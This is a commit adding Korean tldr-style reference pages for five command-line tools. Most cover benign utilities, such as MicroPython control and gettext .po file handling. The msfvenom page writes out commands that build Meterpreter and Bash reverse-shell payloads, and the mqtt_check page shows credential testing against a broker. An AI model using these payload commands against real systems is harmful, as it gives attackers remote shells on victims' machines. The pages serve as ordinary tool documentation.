mpremote, mqtt_check, msfvenom, msgattrib, msgcat: add Korean translation (#22938)

This commit is contained in:
HoJeong Im
2026-06-23 22:05:10 +03:00
committed by GitHub
parent f3415b8c15
commit ae28ce000a
5 changed files with 146 additions and 0 deletions
+24
View File
@@ -0,0 +1,24 @@
# mpremote
> MicroPython 장치를 원격으로 제어하는 도구.
> 더 많은 정보: <https://docs.micropython.org/en/latest/reference/mpremote.html>.
- 연결된 모든 MicroPython 장치 목록 표시:
`mpremote connect list`
- 연결된 장치에 REPL (대화형 Python 쉘) 접속:
`mpremote connect {{장치}}`
- 로컬 Python 스크립트를 장치에서 실행:
`mpremote run {{경로/대상/스크립트.py}}`
- 로컬 디렉터리를 장치에 마운트:
`mpremote mount {{경로/대상/디렉터리}}`
- 장치에 mip 패키지 설치:
`mpremote mip install {{패키지}}`
+29
View File
@@ -0,0 +1,29 @@
# mqtt_check.py
> MQTT 로그인 자격 증명을 테스트하고 검증하는 간단한 유틸리티.
> Impacket 도구의 일부.
> 더 많은 정보: <https://github.com/fortra/impacket>.
- 대상 MQTT 브로커의 로그인 자격 증명 확인 (MQTT broker의 호스트명):
`mqtt_check.py {{도메인}}/{{사용자명}}:{{비밀번호}}@{{대상이름}}`
- 인증에 사용할 사용자 지정 Client ID 지정:
`mqtt_check.py -client-id {{클라이언트_아이디}} {{도메인}}/{{사용자명}}:{{비밀번호}}@{{대상이름}}`
- SSL을 사용하여 연결:
`mqtt_check.py -ssl {{도메인}}/{{사용자명}}:{{비밀번호}}@{{대상이름}}`
- 특정 포트로 연결 (기본 포트: 1883):
`mqtt_check.py -port {{포트}} {{도메인}}/{{사용자명}}:{{비밀번호}}@{{대상이름}}`
- 디버그 출력 활성화:
`mqtt_check.py -debug {{도메인}}/{{사용자명}}:{{비밀번호}}@{{대상이름}}`
- 도움말 표시:
`mqtt_check.py --help`
+28
View File
@@ -0,0 +1,28 @@
# msfvenom
> metasploit용 페이로드를 수동으로 생성하는 도구.
> 더 많은 정보: <https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html>.
- 사용 가능한 페이로드 목록 표시:
`msfvenom {{[-l|--list]}} payloads`
- 사용 가능한 출력 형식 목록 표시:
`msfvenom {{[-l|--list]}} formats`
- 특정 페이로드의 옵션 표시:
`msfvenom {{[-p|--payload]}} {{페이로드}} --list-options`
- 리버스 TCP 연결을 사용하는 ELF 실행 파일 생성:
`msfvenom {{[-p|--payload]}} linux/x64/meterpreter/reverse_tcp LHOST={{로컬_아이피}} LPORT={{로컬_포트}} {{[-f|--format]}} elf {{[-o|--out]}} {{경로/대상/바이너리}}`
- 리버스 TCP 연결을 사용하는 EXE 실행 파일 생성:
`msfvenom {{[-p|--payload]}} windows/x64/meterpreter/reverse_tcp LHOST={{로컬_아이피}} LPORT={{로컬_포트}} {{[-f|--format]}} exe {{[-o|--out]}} {{경로/대상/바이너리.exe}}`
- 리버스 TCP 연결을 사용하는 원시(raw) Bash 페이로드 생성:
`msfvenom {{[-p|--payload]}} cmd/unix/reverse_bash LHOST={{로컬_아이피}} LPORT={{로컬_포트}} {{[-f|--format]}} raw`
+36
View File
@@ -0,0 +1,36 @@
# msgattrib
> `.po` 번역 파일의 메시지 속성을 필터링하고 조작.
> 더 많은 정보: <https://www.gnu.org/software/gettext/manual/gettext.html#msgattrib-Invocation>.
- 번역된 메시지만 유지:
`msgattrib --translated {{입력_파일.po}} > {{translated.po}}`
- 번역되지 않은 메시지만 유지:
`msgattrib --untranslated {{입력_파일.po}} > {{untranslated.po}}`
- 퍼지(fuzzy) 메시지 제거:
`msgattrib --no-fuzzy {{입력_파일.po}} > {{제거된_파일.po}}`
- 퍼지(fuzzy) 메시지만 제거:
`msgattrib --only-fuzzy {{입력_파일.po}} > {{fuzzy.po}}`
- 모든 메시지를 퍼지(fuzzy) 상태로 표시:
`msgattrib --set-fuzzy {{입력_파일.po}} > {{fuzzy.po}}`
- 퍼지(fuzzy) 표시 제거:
`msgattrib --clear-fuzzy {{입력_파일.po}} > {{제거된_파일.po}}`
- 파일 위치 기준으로 정렬하여 출력:
`msgattrib {{[-F|--sort-by-file]}} {{입력_파일.po}} > {{정렬된_파일.po}}`
- 도움말 표시:
`msgattrib {{[-h|--help]}}`
+29
View File
@@ -0,0 +1,29 @@
# msgcat
> 여러 개의 `.po` 번역 파일을 연결하거나 병합.
> 소프트웨어 현지화 과정에서 메시지 카탈로그를 결합하는 데 사용.
> 더 많은 정보: <https://www.gnu.org/software/gettext/manual/gettext.html#msgcat-Invocation>.
- 여러 `.po` 파일을 하나로 병합:
`msgcat {{파일1.po 파일2.po ...}} {{[-o|--output-file]}} {{병합된_파일.po}}`
- 텍스트 파일에 나열된 입력 파일들을 병합:
`msgcat {{[-f|--files-from]}} {{path/to/file_list.txt}} {{[-o|--output-file]}} {{병합된_파일.po}}`
- 출력 인코딩 지정 (예: UTF-8):
`msgcat {{[-t|--to-code]}} {{UTF-8}} {{입력_파일.po}} {{[-o|--output-file]}} {{출력_파일.po}}`
- 한 파일에만 존재하는 고유 메시지만 출력:
`msgcat {{[-u|--unique]}} {{파일1.po 파일2.po ...}} {{[-o|--output-file]}} {{고유_파일.po}}`
- 중복 메시지의 경우, 첫 번째 번역을 사용:
`msgcat --use-first {{파일1.po 파일2.po ...}} {{[-o|--output-file]}} {{출력_파일.po}}`
- 도움말 표시:
`msgcat {{[-h|--help]}}`